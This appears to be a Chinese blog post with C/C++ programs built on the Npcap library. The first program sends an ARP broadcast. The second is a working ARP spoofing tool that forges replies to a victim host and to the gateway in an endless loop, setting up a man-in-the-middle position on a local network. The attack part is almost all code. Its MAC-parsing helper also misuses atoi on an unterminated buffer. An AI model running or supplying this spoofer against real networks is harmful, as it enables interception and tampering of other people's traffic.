• C/C++ Npcap包实现ARP欺骗


    npcap 是Nmap自带的一个数据包处理工具,Nmap底层就是使用这个包进行收发包的,该库,是可以进行二次开发的,不过使用C语言开发费劲,在进行渗透任务时,还是使用Python构建数据包高效,唯一的区别是使用Python的库,可以节约我们寻找数据包结构的时间.

    Npcap发送ARP数据包: 通过使用Npcap实现发送一个ARP广播数据包,这里需要先构建数据包的结构,然后在发送出去.

    #include <stdio.h>
    #include <winsock2.h>
    #include <Windows.h>
    #include <pcap.h>
    
    #pragma comment(lib, "packet.lib")
    #pragma comment(lib, "wpcap.lib")
    #pragma comment(lib,"WS2_32.lib")
    
    #define ETH_ARP      0x0806   // 以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
    #define ARP_HARDWARE 1        // 硬件类型字段值为表示以太网地址
    #define ETH_IP       0x0800   // 协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
    #define ARP_REQUEST  1        // ARP请求
    #define ARP_RESPONSE 2        // ARP应答
    
    //14字节以太网首部
    struct EthernetHeader
    {
    	u_char DestMAC[6];    // 目的MAC地址6字节
    	u_char SourMAC[6];    // 源MAC地址 6字节
    	u_short EthType;      // 上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节
    };
    
    //28字节ARP帧结构
    struct ArpHeader
    {
    	unsigned short hdType;    // 硬件类型
    	unsigned short proType;   // 协议类型
    	unsigned char hdSize;     // 硬件地址长度
    	unsigned char proSize;    // 协议地址长度
    	unsigned short op;        // 操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
    	u_char smac[6];           // 源MAC地址
    	u_char sip[4];            // 源IP地址
    	u_char dmac[6];           // 目的MAC地址
    	u_char dip[4];            // 目的IP地址
    };
    
    //定义整个arp报文包,总长度42字节
    struct ArpPacket {
    	EthernetHeader ed;
    	ArpHeader ah;
    };
    
    // 获取到指定网卡的句柄
    pcap_t * OpenPcap(int nChoose)
    {
    	pcap_t *pcap_handle;   //打开网络适配器,捕捉实例,是pcap_open返回的对象
    	pcap_if_t *alldevs;
    	char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区,大小为256
    
    	// 获取到所有设备列表
    	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
    		exit(0);
    	// 找到指定的网卡设备
    	for (int x = 0; x < nChoose - 1; ++x)
    		alldevs = alldevs->next;
    
    	if ((pcap_handle = pcap_open(alldevs->name,      // 设备名
    		65536,                                       // 每个包长度
    		PCAP_OPENFLAG_PROMISCUOUS,                   // 混杂模式
    		1000,                                        // 读取超时时间
    		NULL,                                        // 远程机器验证
    		errbuf                                       // 错误缓冲池
    		)) == NULL)
    	{
    		pcap_freealldevs(alldevs);
    		exit(0);
    	}
    	return pcap_handle;
    }
    
    int main(int argc, char *argv[])
    {
    	pcap_t *handle;            // 打开网络适配器
    	EthernetHeader eh;         // 定义以太网包头
    	ArpHeader ah;              // 定义ARP包头
    
    	unsigned char sendbuf[42]; // arp包结构大小42个字节
    	unsigned char src_mac[6] = { 0xaa, 0xaa, 0xaa, 0xaa, 0xff, 0xff };
    	unsigned char src_ip[4] = { 0x01, 0x02, 0x03, 0x04 };
    
    	handle = OpenPcap(3);      // 拿到第三个网卡的句柄
    
    	// 开始填充ARP包
    	memset(eh.DestMAC, 0xff, 6);      // 以太网首部目的MAC地址,全为广播地址
    	memcpy(eh.SourMAC, src_mac, 6);   // 以太网首部源MAC地址
    	memcpy(ah.smac, src_mac, 6);      // ARP字段源MAC地址
    	memset(ah.dmac, 0xff, 6);         // ARP字段目的MAC地址
    	memcpy(ah.sip, src_ip, 4);        // ARP字段源IP地址
    	memset(ah.dip, 0x05, 4);          // ARP字段目的IP地址
    
    	// 赋值MAC地址
    	eh.EthType = htons(ETH_ARP);   //htons:将主机的无符号短整形数转换成网络字节顺序
    	ah.hdType = htons(ARP_HARDWARE);
    	ah.proType = htons(ETH_IP);
    	ah.hdSize = 6;
    	ah.proSize = 4;
    	ah.op = htons(ARP_REQUEST);
    
    	// 构造一个ARP请求
    	memset(sendbuf, 0, sizeof(sendbuf));            // ARP清零
    	memcpy(sendbuf, &eh, sizeof(eh));               // 首先把eh以太网结构填充上
    	memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));  // 接着在eh后面填充arp结构
    
    	// 发送数据包
    	if (pcap_sendpacket(handle, sendbuf, 42) == 0)
    	{
    		printf("发送ARP数据包成功! \n");
    	}
    
    	system("pause");
    	return 0;
    }
    

    Npcap 实现ARP欺骗: 欺骗原理,告诉路由器,我是被害主机,告诉被害主机我是路由器,实现比较简单,就是结构封装看起来麻烦。

    #include <stdio.h>
    #include <winsock2.h>
    #include <Windows.h>
    #include <pcap.h>
    
    #pragma comment(lib, "packet.lib")
    #pragma comment(lib, "wpcap.lib")
    #pragma comment(lib,"WS2_32.lib")
    
    //arp应答/请求(28字节)
    #define ARP_HARDWARE 0x0001  // arp_hrd:以太网
    #define ARP_REQUEST 0x0001   // arp_op: 请求 request 
    #define ARP_REPLY 0x0002     // arp_op: 应答 reply 
    
    //作用:调整结构体的边界对齐,让其以一个字节对齐;
    #pragma pack(push, 1)  //使结构体按1字节方式对齐
    
    //以太网头部(14字节)
    #define EPT_IP 0x0800       // eh_type: IP 
    #define EPT_ARP 0x0806      // eh_type: ARP 
    #define EPT_RARP 0x8035     // eh_type: RARP
    
    typedef struct eh_hdr
    {
    	UCHAR eh_dst[6];        // 接收方MAC地址 
    	UCHAR eh_src[6];        // 发送方MAC地址 
    	USHORT eh_type;         // 上层协议类型 
    }EH_HEADR, *P_EH_HEADR;
    
    typedef struct arp_hdr
    {
    	USHORT arp_hrd;          // 硬件类型 
    	USHORT arp_pro;          // 协议类型 
    	UCHAR  arp_hln;          // 硬件(MAC)地址长度 
    	UCHAR  arp_pln;          // 协议(IP )地址长度 
    	USHORT arp_op;           // 包类型:请求、应答
    	UCHAR  arp_sha[6];       // 发送发硬件地址 (应答时,此处可欺骗)
    	ULONG  arp_spa;          // 发送方协议地址 (应答时,此处可欺骗)
    	UCHAR  arp_tha[6];       // 接收方硬件地址 (请求时,此处无用)
    	ULONG  arp_tpa;          // 接收方协议地址 
    }ARP_HEADR, *P_ARP_HEADR;
    
    //ARP协议栈
    typedef struct arp_Packet
    {
    	EH_HEADR ehhdr;
    	ARP_HEADR arphdr;
    } ARP_PACKET, *P_ARP_PACKET;
    
    // 获取到指定网卡的句柄
    pcap_t * OpenPcap(int nChoose)
    {
    	pcap_t *pcap_handle;   //打开网络适配器,捕捉实例,是pcap_open返回的对象
    	pcap_if_t *alldevs;
    	char errbuf[PCAP_ERRBUF_SIZE];   //错误缓冲区,大小为256
    
    	// 获取到所有设备列表
    	if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
    		exit(0);
    	// 找到指定的网卡设备
    	for (int x = 0; x < nChoose - 1; ++x)
    		alldevs = alldevs->next;
    
    	if ((pcap_handle = pcap_open(alldevs->name,      // 设备名
    		65536,                                       // 每个包长度
    		PCAP_OPENFLAG_PROMISCUOUS,                   // 混杂模式
    		1000,                                        // 读取超时时间
    		NULL,                                        // 远程机器验证
    		errbuf                                       // 错误缓冲池
    		)) == NULL)
    	{
    		pcap_freealldevs(alldevs);
    		exit(0);
    	}
    	return pcap_handle;
    }
    
    void ChangeMacAddr(char *p, UCHAR a[])      //把输入的12字节的MAC字符串,转变为6字节的16进制MAC地址
    {
    	char* p1 = NULL;
    	int i = 0;
    	int high, low;
    	char temp[1];
    	for (i = 0; i < 6; i++)
    	{
    		p1 = p + 1;
    		switch (*p1) //计算低位的16进进制
    		{
    		case 'A': low = 10;        break;
    		case 'B': low = 11;        break;
    		case 'C': low = 12;        break;
    		case 'D': low = 13;        break;
    		case 'E': low = 14;        break;
    		case 'F': low = 15;        break;
    		default: temp[0] = *p1;
    			low = atoi(temp); //如果为数字就直接转变成对应的数值
    		}
    
    		switch (*p) //计算高位的16进制
    		{
    		case 'A': high = 10;       break;
    		case 'B': high = 11;       break;
    		case 'C': high = 12;       break;
    		case 'D': high = 13;       break;
    		case 'E': high = 14;       break;
    		case 'F': high = 15;       break;
    		default: temp[0] = *p;
    			high = atoi(temp); //如果为数字就直接转变成对应的数值
    		}
    		p += 2; //指针指向下一个X(高)X(低)字符串
    
    		a[i] = high * 16 + low; //求和得16进制值
    	}
    }
    
    void makeArpPacket(ARP_PACKET &ARPPacket, char * srcMac, char * srcIP, char * dstMac, char * dstIP)
    {
    	UCHAR MacAddr[6] = { 0 };
    
    	//以太网头
    	ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   //目的MAC地址
    	ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   //源MAC地址。
    	ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        //数据类型ARP请求或应答
    
    	//ARP头                                     
    	ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  //硬件地址为0x0001表示以太网地址
    	ARPPacket.arphdr.arp_pro = htons(EPT_IP);        //协议类型字段为0x0800表示IP地址
    	ARPPacket.arphdr.arp_hln = 6;                    //硬件地址长度和协议地址长度分别指出硬件地址和协议地址的长度,
    	ARPPacket.arphdr.arp_pln = 4;                    //以字节为单位。对于以太网上IP地址的ARP请求或应答来说,它们的值分别为6和4。
    	ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      //ARP请求值为1,ARP应答值为2,RARP请求值为3,RARP应答值为4
    	ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //发送方 源MAC地址(欺骗的MAC地址)
    	ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     //发送方 源IP地址 (欺骗的MAC地址)
    	ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目标的MAC地址 
    	ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     //目标的IP地址  
    }
    
    // 发送ARP数据包
    void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
    {
    	if (pcap_sendpacket(fp,(const u_char *)&ARPPacket,sizeof(ARPPacket)) != 0)
    		return;
    }
    
    int main(int argc, char *argv[])
    {
    	pcap_t *handle;      // 打开网络适配器
    	EH_HEADR eh;         // 定义以太网包头
    	ARP_HEADR ah;        // 定义ARP包头
    
    	// 打开第三张网卡,并拿到该网卡的句柄
    	handle = OpenPcap(3);
    
    	// 填充数据包
    	ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺骗目标
    	ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺骗网关
    
    
    	//欺骗受害者,我是网关 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)
    	makeArpPacket(ARPPacket_A, "000000000000", "192.168.1.1", "c89cdcad3a39", "192.168.1.10");
    	//欺骗网关,我是受害者 (原MAC地址/原IP地址 --> 目标MAC地址/目标IP地址)
    	makeArpPacket(ARPPacket_B, "c89cdcad3a39", "192.168.1.10", "000000000000", "192.168.1.1");
    
    	while (true)
    	{
    		//3.发送数据包
    		sendArpPacket(handle, ARPPacket_A);
    		sendArpPacket(handle, ARPPacket_B);
    		printf("send OK ! \n");
    		Sleep(3000);
    	}
    	
    	pcap_close(handle);
    	system("pause");
    	return 0;
    }
    
  • 相关阅读:
    Asp.net 中 listbox 滚动条 定位 火麒
    Silverlight跨域访问WCF服务 火麒
    网页加载速度优化技巧
    很漂亮的login
    ireport
    方法1,定位,相当于四周受力
    方法2,平移
    大端小端数据存储方式
    c++中RTTI
    C语言细节数组a+1和&a+1
  • 原文地址:https://www.cnblogs.com/LyShark/p/13521376.html
Copyright © 2020-2023  润新知